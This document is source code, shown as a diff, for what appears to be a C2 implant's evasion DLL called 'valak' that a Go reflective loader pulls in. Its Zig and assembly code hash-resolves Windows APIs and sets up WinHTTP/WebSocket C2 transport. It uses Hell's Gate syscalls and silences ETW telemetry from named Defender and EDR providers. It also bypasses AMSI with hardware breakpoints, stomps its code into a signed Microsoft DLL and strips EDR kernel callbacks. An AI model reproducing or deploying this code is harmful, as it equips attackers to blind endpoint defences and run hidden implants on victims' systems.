pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
|
||||
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
|
||||
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
|
||||
|
||||
// 2i. privilege escalation — SeDebugPrivilege for EDR callback removal
|
||||
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
|
||||
|
||||
pub var priv_lookup_privilege_value_w: ?T_priv_LookupPrivilegeValueW = null;
|
||||
pub var priv_adjust_token_privileges: ?T_priv_AdjustTokenPrivileges = null;
|
||||
pub var priv_get_current_process: ?T_priv_GetCurrentProcess = null;
|
||||
|
||||
var g_ensure_done: bool = false;
|
||||
|
||||
pub fn ensure() void {
|
||||
if (g_ensure_done) return;
|
||||
g_ensure_done = true;
|
||||
|
||||
const k32_hash = hash_ror13("kernel32.dll");
|
||||
const ntdll_hash = hash_ror13("ntdll.dll");
|
||||
const winhttp_hash = hash_ror13("winhttp.dll");
|
||||
const bcrypt_hash = hash_ror13("bcrypt.dll");
|
||||
|
||||
// 2j. kernel32.dll — all exec/info/fiber/sleep/bof/amsi/etw resolution
|
||||
if (exec_create_pipe == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePipe"))) |p| {
|
||||
exec_create_pipe = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_create_process_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessA"))) |p| {
|
||||
exec_create_process_a = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_read_file == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ReadFile"))) |p| {
|
||||
exec_read_file = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_wait_for_single_object == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("WaitForSingleObject"))) |p| {
|
||||
exec_wait_for_single_object = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_get_exit_code_process == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetExitCodeProcess"))) |p| {
|
||||
exec_get_exit_code_process = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_get_last_error == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetLastError"))) |p| {
|
||||
exec_get_last_error = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_get_module_file_name_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleFileNameA"))) |p| {
|
||||
exec_get_module_file_name_a = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_exit_process == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ExitProcess"))) |p| {
|
||||
exec_exit_process = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_initialize_proc_thread_attribute_list == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeProcThreadAttributeList"))) |p| {
|
||||
exec_initialize_proc_thread_attribute_list = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_update_proc_thread_attribute == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("UpdateProcThreadAttribute"))) |p| {
|
||||
exec_update_proc_thread_attribute = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_delete_proc_thread_attribute_list == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteProcThreadAttributeList"))) |p| {
|
||||
exec_delete_proc_thread_attribute_list = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_create_file_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFileA"))) |p| {
|
||||
exec_create_file_a = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_write_file == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("WriteFile"))) |p| {
|
||||
exec_write_file = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_open_process_token == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("OpenProcessToken"))) |p| {
|
||||
exec_open_process_token = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_duplicate_token_ex == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("DuplicateTokenEx"))) |p| {
|
||||
exec_duplicate_token_ex = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_create_process_with_token_w == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessWithTokenW"))) |p| {
|
||||
exec_create_process_with_token_w = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_create_pseudo_console == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePseudoConsole"))) |p| {
|
||||
exec_create_pseudo_console = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_close_pseudo_console == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ClosePseudoConsole"))) |p| {
|
||||
exec_close_pseudo_console = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_create_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateThread"))) |p| {
|
||||
exec_create_thread = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_initialize_critical_section == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeCriticalSection"))) |p| {
|
||||
exec_initialize_critical_section = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_enter_critical_section == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("EnterCriticalSection"))) |p| {
|
||||
exec_enter_critical_section = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_leave_critical_section == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("LeaveCriticalSection"))) |p| {
|
||||
exec_leave_critical_section = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (exec_delete_critical_section == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteCriticalSection"))) |p| {
|
||||
exec_delete_critical_section = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (comms_load_library_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
|
||||
comms_load_library_a = @ptrCast(p);
|
||||
bof_load_library_a = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (info_get_computer_name_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetComputerNameA"))) |p| {
|
||||
info_get_computer_name_a = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (info_get_user_name_a == null) {
|
||||
if (comms_load_library_a) |la| {
|
||||
_ = la("advapi32.dll");
|
||||
}
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetUserNameA"))) |p| {
|
||||
info_get_user_name_a = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (info_get_system_info == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemInfo"))) |p| {
|
||||
info_get_system_info = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (info_get_current_process_id == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcessId"))) |p| {
|
||||
info_get_current_process_id = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (info_get_system_time == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemTime"))) |p| {
|
||||
info_get_system_time = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (fiber_ConvertThreadToFiber == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertThreadToFiber"))) |p| {
|
||||
fiber_ConvertThreadToFiber = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (fiber_CreateFiber == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFiber"))) |p| {
|
||||
fiber_CreateFiber = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (fiber_SwitchToFiber == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("SwitchToFiber"))) |p| {
|
||||
fiber_SwitchToFiber = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (fiber_DeleteFiber == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteFiber"))) |p| {
|
||||
fiber_DeleteFiber = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (fiber_ConvertFiberToThread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertFiberToThread"))) |p| {
|
||||
fiber_ConvertFiberToThread = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (sleep_VirtualQuery == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
|
||||
sleep_VirtualQuery = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (amsi_load_library_w == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
||||
}
|
||||
if (etw_get_module_handle_w == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleW"))) |p| etw_get_module_handle_w = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (bof_get_proc_address == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
|
||||
bof_get_proc_address = @ptrCast(p);
|
||||
amsi_get_proc_address = @ptrCast(p);
|
||||
etw_get_proc_address = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
if (bof_get_module_handle_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleA"))) |p| bof_get_module_handle_a = @ptrCast(p);
|
||||
}
|
||||
if (bof_virtual_alloc == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualAlloc"))) |p| bof_virtual_alloc = @ptrCast(p);
|
||||
}
|
||||
if (bof_virtual_free == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
|
||||
if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
|
||||
if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
|
||||
if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (amsi_add_vectored_exception_handler == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
||||
}
|
||||
if (amsi_get_current_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
|
||||
}
|
||||
if (amsi_set_thread_context == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
|
||||
}
|
||||
if (amsi_suspend_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
|
||||
}
|
||||
if (amsi_resume_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
||||
}
|
||||
|
||||
// HWBP globals — same APIs as AMSI, shared
|
||||
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
|
||||
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
|
||||
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
|
||||
|
||||
// 2k. ntdll.dll — RtlGetVersion, SystemFunction032 (RC4 sleep)
|
||||
if (info_rtl_get_version == null) {
|
||||
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
|
||||
}
|
||||
if (sleep_SystemFunction032 == null) {
|
||||
if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
|
||||
}
|
||||
|
||||
// 2l. winhttp.dll — HTTP/WebSocket C2 transport. Lazy-loaded on first comms attempt.
|
||||
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
|
||||
_ = comms_load_library_a.?("winhttp.dll");
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpen"))) |p| comms_winhttp_open = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpConnect"))) |p| comms_winhttp_connect = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpenRequest"))) |p| comms_winhttp_open_request = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSetOption"))) |p| comms_winhttp_set_option = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSendRequest"))) |p| comms_winhttp_send_request = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReceiveResponse"))) |p| comms_winhttp_receive_response = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReadData"))) |p| comms_winhttp_read_data = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpCloseHandle"))) |p| comms_winhttp_close_handle = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpAddRequestHeaders"))) |p| comms_winhttp_add_request_headers = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpQueryDataAvailable"))) |p| comms_winhttp_query_data_available = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketCompleteUpgrade"))) |p| comms_winhttp_websocket_complete_upgrade = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketSend"))) |p| comms_winhttp_websocket_send = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketReceive"))) |p| comms_winhttp_websocket_receive = @ptrCast(p);
|
||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
|
||||
}
|
||||
|
||||
// 2i continued. advapi32 — LookupPrivilegeValueW, AdjustTokenPrivileges
|
||||
const advapi_hash = hash_ror13("advapi32.dll");
|
||||
if (priv_get_current_process == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
|
||||
}
|
||||
if (priv_lookup_privilege_value_w == null or priv_adjust_token_privileges == null) {
|
||||
_ = resolve.get_module_by_hash(advapi_hash);
|
||||
if (resolve.resolve_api(advapi_hash, hash_ror13("LookupPrivilegeValueW"))) |p| priv_lookup_privilege_value_w = @ptrCast(p);
|
||||
if (resolve.resolve_api(advapi_hash, hash_ror13("AdjustTokenPrivileges"))) |p| priv_adjust_token_privileges = @ptrCast(p);
|
||||
}
|
||||
|
||||
// 2m. bcrypt.dll — full ECDH + AES-GCM crypto suite. Loaded on first encrypt/decrypt.
|
||||
if (crypto_bcrypt_open == null) {
|
||||
if (resolve.get_module_by_hash(bcrypt_hash) == null) {
|
||||
if (comms_load_library_a) |la| _ = la("bcrypt.dll");
|
||||
}
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptOpenAlgorithmProvider"))) |p| crypto_bcrypt_open = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptCloseAlgorithmProvider"))) |p| crypto_bcrypt_close = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSetProperty"))) |p| crypto_bcrypt_set_prop = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateSymmetricKey"))) |p| crypto_bcrypt_gen_key = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroyKey"))) |p| crypto_bcrypt_destroy_key = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptEncrypt"))) |p| crypto_bcrypt_encrypt = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDecrypt"))) |p| crypto_bcrypt_decrypt = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenRandom"))) |p| crypto_bcrypt_gen_random = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateKeyPair"))) |p| crypto_bcrypt_gen_key_pair = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptFinalizeKeyPair"))) |p| crypto_bcrypt_finalize_key_pair = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptExportKey"))) |p| crypto_bcrypt_export_key = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptImportKeyPair"))) |p| crypto_bcrypt_import_key_pair = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSecretAgreement"))) |p| crypto_bcrypt_secret_agreement = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
|
||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
.intel_syntax noprefix
|
||||
|
||||
.data
|
||||
wSystemCallEnc: .long 0
|
||||
qSyscallInsAddressEnc: .quad 0
|
||||
wMask: .long 0xDEADBEEF
|
||||
qMask: .quad 0xDEADBEEFDEADBEEF
|
||||
|
||||
.text
|
||||
.global hells_gate
|
||||
.global hell_descent
|
||||
|
||||
hells_gate:
|
||||
xor ecx, dword ptr [rip + wMask]
|
||||
mov dword ptr [rip + wSystemCallEnc], ecx
|
||||
xor rdx, qword ptr [rip + qMask]
|
||||
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
|
||||
ret
|
||||
|
||||
hell_descent:
|
||||
mov r10, rcx
|
||||
mov eax, dword ptr [rip + wSystemCallEnc]
|
||||
xor eax, dword ptr [rip + wMask]
|
||||
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
|
||||
xor r11, qword ptr [rip + qMask]
|
||||
jmp r11
|
||||
@@ -0,0 +1,38 @@
|
||||
// 1. Target config — x86_64-windows-gnu, optimised+stripped (unless Debug).
|
||||
// 2. Single-threaded — no TLS, Zig runtime stays minimal.
|
||||
// 3. Assembly: arch/hells_gate.s — Hell's Gate SSN encryption + Hell Descent arg dispatch.
|
||||
// 4. Link system DLLs: kernel32, ntdll, advapi32, crypt32 (Go handles the rest via manual map).
|
||||
// 5. Output: valak.dll — Go's reflective loader copies this from zig-out/bin/ to implant/core/.
|
||||
const std = @import("std");
|
||||
|
||||
pub fn build(b: *std.Build) void {
|
||||
const target = b.standardTargetOptions(.{ .default_target = .{
|
||||
.cpu_arch = .x86_64,
|
||||
.os_tag = .windows,
|
||||
.abi = .gnu,
|
||||
} });
|
||||
const optimize = b.standardOptimizeOption(.{});
|
||||
const strip = optimize != .Debug;
|
||||
|
||||
const module = b.createModule(.{
|
||||
.root_source_file = b.path("main.zig"),
|
||||
.target = target,
|
||||
.optimize = optimize,
|
||||
.strip = strip,
|
||||
.single_threaded = true,
|
||||
});
|
||||
|
||||
module.addAssemblyFile(b.path("arch/hells_gate.s"));
|
||||
module.linkSystemLibrary("kernel32", .{});
|
||||
module.linkSystemLibrary("ntdll", .{});
|
||||
module.linkSystemLibrary("advapi32", .{});
|
||||
module.linkSystemLibrary("crypt32", .{});
|
||||
|
||||
const lib = b.addLibrary(.{
|
||||
.name = "valak",
|
||||
.root_module = module,
|
||||
.linkage = .dynamic,
|
||||
});
|
||||
lib.subsystem = .Windows;
|
||||
b.installArtifact(lib);
|
||||
}
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
// 3. ETW suppression — three-tier fallback.
|
||||
// HWBP method reference: https://github.com/FortisecValidation/Micro-Stager
|
||||
// 1. Global patch state + HWBP VEH handle + EtwEventWrite address cache.
|
||||
// 2. etw_hwbp_handler — SINGLE_STEP at EtwEventWrite → skip the call, return clean.
|
||||
// 3. try_hwbp_etw_bypass — installs VEH + DR0 breakpoint (no memory modification).
|
||||
// 4. EDR provider GUIDs — Microsoft-Windows-Threat-Intelligence, Kernel-Process, Mitigations.
|
||||
// 5. patch_etw — three-tier: NtTraceControl provider stop → HWBP → RET patch (last resort).
|
||||
// First two avoid memory modifications; RET patch fires if everything else failed.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
|
||||
var g_etw_patched: bool = false;
|
||||
var g_etw_hwbp_veh: ?*anyopaque = null;
|
||||
var g_etw_event_write_addr: ?*anyopaque = null;
|
||||
|
||||
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
|
||||
// raises a single-step exception. We skip the call by forwarding RIP past it.
|
||||
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
|
||||
{
|
||||
// Skip EtwEventWrite: set RIP to return address on stack, pop it
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
|
||||
// is in a debug register, the handler skips the call. EDRs can't see the patch.
|
||||
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
const get_addr = api.etw_get_proc_address orelse return false;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
if (etw_write == null) return false;
|
||||
|
||||
g_etw_event_write_addr = etw_write;
|
||||
|
||||
const veh = api.hwbp_add_veh orelse return false;
|
||||
const cur_thread = api.hwbp_get_thread orelse return false;
|
||||
const set_ctx = api.hwbp_set_thread_ctx orelse return false;
|
||||
|
||||
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
|
||||
if (g_etw_hwbp_veh == null) return false;
|
||||
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
|
||||
// MDE, and kernel-level process/syscall monitoring providers.
|
||||
const edr_provider_guids = [_][16]u8{
|
||||
// Microsoft-Windows-Threat-Intelligence
|
||||
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
|
||||
// Microsoft-Windows-Kernel-Process
|
||||
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
|
||||
// Microsoft-Windows-Security-Mitigations
|
||||
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
|
||||
};
|
||||
|
||||
// Three-tier fallback: stop EDR providers via NtTraceControl → hardware breakpoint on
|
||||
// EtwEventWrite → RET patch as absolute last resort. Each tier avoids memory modification
|
||||
// until the previous one fails. Returns early if already patched.
|
||||
pub fn patch_etw() void {
|
||||
if (g_etw_patched) return;
|
||||
api.ensure();
|
||||
_ = syscall.init_syscall();
|
||||
|
||||
// Tier 1: Stop known EDR ETW providers via NtTraceControl
|
||||
var stopped_any = false;
|
||||
for (&edr_provider_guids) |*guid| {
|
||||
var ret_len: win.ULONG = 0;
|
||||
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
|
||||
if (win.NT_SUCCESS(st)) {
|
||||
stopped_any = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (stopped_any) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
|
||||
// Tier 2: Hardware breakpoint bypass — no memory modification
|
||||
if (try_hwbp_etw_bypass(ntdll)) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
|
||||
// Tier 3: RET patch fallback — writes 0xC3 into EtwEventWrite's first byte
|
||||
const get_addr = api.etw_get_proc_address orelse return;
|
||||
const vp = api.etw_virtual_protect orelse return;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
if (etw_write) |addr| {
|
||||
var old: win.DWORD = 0;
|
||||
_ = vp(addr, 1, win.PAGE_EXECUTE_READWRITE, &old);
|
||||
@as(*volatile u8, @ptrCast(addr)).* = 0xC3;
|
||||
_ = vp(addr, 1, old, &old);
|
||||
}
|
||||
g_etw_patched = true;
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
// 1. ensure() — resolve APIs + init syscall gadgets. Called before every export.
|
||||
// 2. init_evasion() — called by Go reflective loader after DllMain.
|
||||
// 3. patch_etw() — three-tier ETW: NtTraceControl → HWBP → RET patch.
|
||||
// 4. patch_amsi() — HWBP on AmsiScanBuffer, no bytes modified.
|
||||
// 5. stomp_evasion(base) — copy .text into signed MS DLL, wipe headers. base from Go.
|
||||
// 6. is_relocated() — true if stomp moved us (Go uses this for honest logs).
|
||||
// 7. remove_edr_callbacks() — NtSetInformationProcess(InfoClass=40) clears EDR callbacks.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const amsi = @import("amsi.zig");
|
||||
const etw = @import("etw.zig");
|
||||
const stomp = @import("stomp.zig");
|
||||
|
||||
var g_initialized: bool = false;
|
||||
|
||||
// 1. one-time setup — resolves all API pointers and scans ntdll for syscall gadgets.
|
||||
fn ensure() void {
|
||||
if (g_initialized) return;
|
||||
g_initialized = true;
|
||||
api.ensure();
|
||||
_ = syscall.init_syscall();
|
||||
}
|
||||
|
||||
// 2. called by the Go loader after DllMain.
|
||||
export fn init_evasion() void {
|
||||
ensure();
|
||||
}
|
||||
|
||||
// 3. three-tier — tries NtTraceControl first, then HWBP, then RET patch as last resort.
|
||||
export fn patch_etw() void {
|
||||
ensure();
|
||||
etw.patch_etw();
|
||||
}
|
||||
|
||||
// 4. hardware breakpoint on AmsiScanBuffer — no bytes touched in amsi.dll.
|
||||
export fn patch_amsi() void {
|
||||
ensure();
|
||||
amsi.patch_amsi();
|
||||
}
|
||||
|
||||
// 5. copies our .text into a signed Microsoft DLL, wipes our PE headers. base comes from Go.
|
||||
export fn stomp_evasion(base: ?*anyopaque) void {
|
||||
ensure();
|
||||
_ = stomp.stomp_module(base);
|
||||
}
|
||||
|
||||
// 6. returns true if stomp actually relocated us — Go uses this to be honest in logs.
|
||||
export fn is_relocated() bool {
|
||||
return stomp.g_evasion_relocated;
|
||||
}
|
||||
|
||||
// 7. clears EDR kernel callbacks via NtSetInformationProcess(InfoClass=40). runs last.
|
||||
export fn remove_edr_callbacks() void {
|
||||
ensure();
|
||||
syscall.remove_edr_callbacks();
|
||||
}
|
||||
